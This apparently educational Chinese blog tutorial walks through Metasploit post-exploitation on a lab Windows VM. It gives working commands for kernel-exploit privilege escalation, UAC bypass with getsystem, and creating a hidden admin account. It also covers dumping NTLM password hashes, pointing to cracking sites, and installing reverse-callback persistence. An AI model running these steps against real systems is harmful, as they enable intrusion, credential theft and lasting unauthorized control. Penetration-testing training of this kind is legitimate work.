Web安全|渗透测试Metasploit框架体验(5.理解MSF后渗透-之提权)

1.目标机器权限提升 权限提升(privilege escalation) :
攻击者通过安全漏洞把获取到的受限制的低权限用户突破限制,提权至高权限的管理员用户,从而获得对整个系统得控制权。Windows,Linux等等。

#提权的前提条件:
- 拥有普通用户权限
- 拥有某些软件的账号密码
-本地或远程服务器上存在漏洞
- 拥有漏洞利用工具代码
Windows—>user[普通用户、如:zhangsan]—>Administrator[管理员用户]—>SYSTEM[系统用户、不可登录]
Linux—>user[普通用户、如:kali-lisi]—>root[超级用户]
获取普通用户权限
在前面我们已经讲过如何获取一个普通的权限,这里我们以windows为例,因为我们在前面已经发送了木马后门在我们win7靶机上,所以这里我们直接使用以前的,不再麻烦重新生成了。
  1. 快速开启监听,打开msf,执行handler -H 192.168.164.130 -P 9999 -p windows/x64/meterpreter/reverse_tcp
  2. 在靶机上运行后门
  3. 进入监听得到的session 1,获得meterpreter
使用查看命令getuid发现我们获得了一个普通用户:
Web安全|渗透测试Metasploit框架体验(5.理解MSF后渗透-之提权)
文章图片

靶机权限提升-windows内核/服务漏洞
post/multi/recon/local_exploit_suggester
#检测漏洞时,需要注意meterpreter位数,如64位系统使用32位meterpreter,可能检测失败
我们使用background返回msf终端,输入use post/multi/recon/local exploit suggester来帮助我们检测不表操作系统上面可能存在那些内核漏洞。输入options查看需要我们配置哪些选项,发现只需要我们配置session即可,也就是说我们要给它一个普通用户的会话让他去检测,我这里是set sessions 2,大家根据自己的sessions进行配置。
Web安全|渗透测试Metasploit框架体验(5.理解MSF后渗透-之提权)
文章图片

我这里暂时只有一个攻击模块,我们就使用这个,如果大家是有多个攻击模块被检测出来就i选择一个自己看着舒服的就行,use exploit/windows/local/ms10_092_schelevator,还有就是我们检测出来的漏洞后面一般都会有The target appears......,表示只是可能存在漏洞,也有可能不存在,我们只能作为一个参考。
使用模块之后依然是options,set之后运run:
Web安全|渗透测试Metasploit框架体验(5.理解MSF后渗透-之提权)
文章图片
Web安全|渗透测试Metasploit框架体验(5.理解MSF后渗透-之提权)
文章图片

注意:这里我没有set payload,我们看到默认的payload是windows/meterpreter/reverse_tcp,而我们攻击的机器是64位机器,这里实际上应该set一下payload,use windows/x64/meterpreter/reverse_tcp,我没有设置这里是成功了,但是我们看我获取到的meterpreter却是一个x86的机器,所以最好还是设置一下防止运行失败。
Web安全|渗透测试Metasploit框架体验(5.理解MSF后渗透-之提权)
文章图片

虽然我们成功使用了这个漏洞,但是这些漏洞可能被打了补丁,这些补丁有可能是通过自己系统更新,即使你把windows自动更新去掉了,这些漏洞也会通过360等的补丁,漏洞检测进行自动的修复,所以这种提权的方式在实际应用中是比较少见的。
> bypass_uac
用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。
在日常我们登录的用户都是默认属于管理员组的,查看net user:
Web安全|渗透测试Metasploit框架体验(5.理解MSF后渗透-之提权)
文章图片

Web安全|渗透测试Metasploit框架体验(5.理解MSF后渗透-之提权)
文章图片
Web安全|渗透测试Metasploit框架体验(5.理解MSF后渗透-之提权)
文章图片

如果电脑开启了UAC,以管理员身份运行就会弹出一个弹窗,我们可以在控制面版中关闭这样一个功能:
Web安全|渗透测试Metasploit框架体验(5.理解MSF后渗透-之提权)
文章图片

下面我们就来查看如何绕过UAC,绕过UAC的方法,你肯定不知道使用哪个模块,我们还是使用老方法search bypassuac:

我们就使用普通的bypassuac,ues exploit/windows/local/bypassuac,查看配置:
Web安全|渗透测试Metasploit框架体验(5.理解MSF后渗透-之提权)
文章图片

设置好session,再看一下我们的机器是X64,而这个模块默认的payload却是windows/meterpreter/reverse_tcp,我们需要在payload中加上架构:
Web安全|渗透测试Metasploit框架体验(5.理解MSF后渗透-之提权)
文章图片

运行
Web安全|渗透测试Metasploit框架体验(5.理解MSF后渗透-之提权)
文章图片

我们使用getuid查看用户,发现依旧是普通用户,这是因为我们还需要一步操作,叫做命名管道去打开一个meterpreter:我们可以使用getsystem提权命令进行提权,之后再次擦看getuid发现用户已经成为SYSTEM用户。没有使用bypassuac这种方法而使用我们上面的第一种方法获取的普通用户是无法使用getsystem来进行提权的。
Web安全|渗透测试Metasploit框架体验(5.理解MSF后渗透-之提权)
文章图片

Web安全|渗透测试Metasploit框架体验(5.理解MSF后渗透-之提权)
文章图片

这里呢就是一个bypassuac的利用,我们在真实情况下也是用的比较多的,包括我们的win10也可以利用它进行一个提权。

2.深入控制目标机器 #开启命令行
meterpreter>shell
#windows
##chcp解决中文乱码
chcp 65001
CHCP是一个计算机指令,能够显示或设置活动代码页编号。
65001 UTF-8代码页
950繁体中文
936简体中文默认的GBK
437 MS-DOS美国英语
#linux
##开启交互式shell
python -c "import pty; pty.spawn('/bin/bash')"
#读取文件
meterpreter > cat "C:\Users\zhangsan\Downloads\001.txt"
#上传文件
meterpreter > upload /home/kali/text_files/C++/001 C:\\Users\\zhangsan\\Downloads\\
[*] uploading: /home/kali/text_files/C++/001 -> C:\Users\zhangsan\Downloads\
[*] uploaded: /home/kali/text_files/C++/001 -> C:\Users\zhangsan\Downloads\\001
#下载文件
meterpreter > download "C:\Users\zhangsan\Downloads\001.txt"
[*] Downloading: C:\Users\zhangsan\Downloads\001.txt -> /home/kali/001.txt
[*] Downloaded 8.00 B of 8.00 B (100.0%): C:\Users\zhangsan\Downloads\001.txt -> /home/kali/001.txt
[*] download: C:\Users\zhangsan\Downloads\001.txt -> /home/kali/001.txt
【Web安全|渗透测试Metasploit框架体验(5.理解MSF后渗透-之提权)】#删除文件
meterpreter > rm "C:\\Users\\zhangsan\\Downloads\\001.txt"
例如我保存在记事本的一段代码:
Web安全|渗透测试Metasploit框架体验(5.理解MSF后渗透-之提权)
文章图片

使用cat命令后就会在命令行中显示:
Web安全|渗透测试Metasploit框架体验(5.理解MSF后渗透-之提权)
文章图片

添加后门用户
  1. meterpreter > shell(进入命令行)
  2. net user lisi 123123 /add(添加一个用户名为lisi,密码为123123的普通用户)
  3. net localgroup administrators lisi /add(把lisi加入Administrators用户组)
远程登录
#开启远程服务
meterpreter > run getgui -e
然后启用远程桌面连接使用自己创建的用户即可。
如何获取管理员密码
#密码凭证获取(获取哈希值,经过加密后的密码)
1.直接使用hashdump命令
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
lisi:1002:aad3b435b51404eeaad3b435b51404ee:579110c49145015c47ecd267657d3174:::
zhangsan:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Web安全|渗透测试Metasploit框架体验(5.理解MSF后渗透-之提权)
文章图片

2.使用msf模块,使用此模块不仅会获得哈希值,而且可以获得当前用户的明文密码
meterpreter > run post/windows/gather/smart_hashdump
[!] SESSION may not be compatible with this module:
[!]* missing Meterpreter features: stdapi_sys_process_set_term_size
[*] Running module against WIN-RRI9T9SN85D
[*] Hashes will be saved to the database if one is connected.
[+] Hashes will be saved in loot in JtR password file format to:
[*] /root/.msf4/loot/20220212071857_default_192.168.164.132_windows.hashes_234671.txt
[*] Dumping password hashes...
[*] Running as SYSTEM extracting hashes from registry
[*]Obtaining the boot key...
[*]Calculating the hboot key using SYSKEY 215da04edceefd0487fc4a43a9e51aab...
[*]Obtaining the user list and keys...
[*]Decrypting user keys...
[*]Dumping password hints...
[*]No users with password hints on this system
[*]Dumping password hashes...
[+]Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+]zhangsan:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+]lisi:1002:aad3b435b51404eeaad3b435b51404ee:579110c49145015c47ecd267657d3174:::
当然你也可以使用load kiwi,creds all来获取明文密码,但是成功几率比较低。就像我这里靶机刚创建的用户lisi都没有检测出来。哈希值的方法是最可靠的在这几种方法中。
Web安全|渗透测试Metasploit框架体验(5.理解MSF后渗透-之提权)
文章图片

Web安全|渗透测试Metasploit框架体验(5.理解MSF后渗透-之提权)
文章图片

解密网站:
  • https://www.cmd5.com/
  • https://www.somd5.com/
  • https://www.objectif-securite.ch/ophcrack
3.meterpreter持久化控制 #进程迁移
#查看进程meterpreter > ps
#进程迁移migrate(迁移到相同权限下)
meterpreter > migrate PID
metsvc自启动服务(msf已不建议使用)
运行run metsvc
将会在目标主机上以Meterpreter的服务的形式注册在服务列表中,并开机自动自动;
运行run metsvc -r
卸载目标主机上的Meterpreter服务;
  • 原理:设置的后门在目标机启动后会自动开启一个服务,等待连接; 这个有点正向代理的意思,自己开个端口等待接入控制;
  • 优点:命令简单,不必设置太多参数,即不需要设置反弹到的主机IP、端口等,直接run metsvc -A;
  • 缺点:如果其他人知道服务器的ip,都可以利用这个后门开启的服务来控制服务器【扫描器发现】;
#开启服务meterpreter > run metsvo
#开启监听,等待连接handler -H 192.168.123.160 -P 31337 -p windows/metsvc_bind_tcp
##卸载服务meterpreter > run metsvc -r
persistence自启动项
通过启动项启动,也是Meterpreter下的一个脚本;
移除后门:删除注册表中的值和上传的VBScript文件,具体位置执行脚本后有提示。
参数
-A自动启动匹配的exploit/multi/处理程序,
-L在目标主机中写入有效负载的位置,如果没有&TEMP%将被使用。
-P要使用的有效负载,默认是windows/meterpreter/reverse_tcp。
-S在启动时自动将代理作为服务启动(具有SYSTEM特权)
-T可选择使用的可执行模板
-U在User登录时自动启动(推荐使用)
-X系统启动时自动启动代理
-h帮助菜单
-i每次连接尝试之间的间隔,以秒为单位运行
-pMetasploit的系统正在监听的端口运行
-rMetasploit监听回连接的系统的IP
使用run persistence -U -i 10 -p 8888 -r 192.168.164.130命令运行我们的persistence自启动项
Web安全|渗透测试Metasploit框架体验(5.理解MSF后渗透-之提权)
文章图片

之后后返回msf终端开启监听:
Web安全|渗透测试Metasploit框架体验(5.理解MSF后渗透-之提权)
文章图片

接下来我们重启靶机:
Web安全|渗透测试Metasploit框架体验(5.理解MSF后渗透-之提权)
文章图片

很明显的看到,在我重启靶机的时候,所有会话都Died,断掉了,但是我们之后打开监听,又会自动建立起和靶机的会话,说明我们persistence自启动项运行成功了。
可能会存在的问题
  1. 为什么提权失败?
    --------提权需要目标机器有脆弱性漏洞,没有修复补丁,杀毒软件不会拦截提权攻击脚本等前提条件才能够成功提权上线。检测存在误报,只能去尝试。
    --------没有操作是百分之百能够成功执行的。
    --------渗透测试过程中要灵活多变,这种方法不行,换另一种,或各种搭配组合,才能实现最大化利用。
  2. 为什么我得到的ntlm哈希没办法破解?
    --------哈希加密不支持逆运算,只能暴力破解(彩虹表)。如果彩虹表里没有明文加密后的哈希值,就无法破解。举例,比特币sha256加密算法,只能用算力爆破。base64为编码,不是哈希加密,类似于url编码,都是能够解码的。
  3. 为什么chcp 65001之后依然会出现中文乱码?
    --------chcp 65001是将活动代码页编码改为utf-8,不是翻译可以尝试更改kali终端编码


    推荐阅读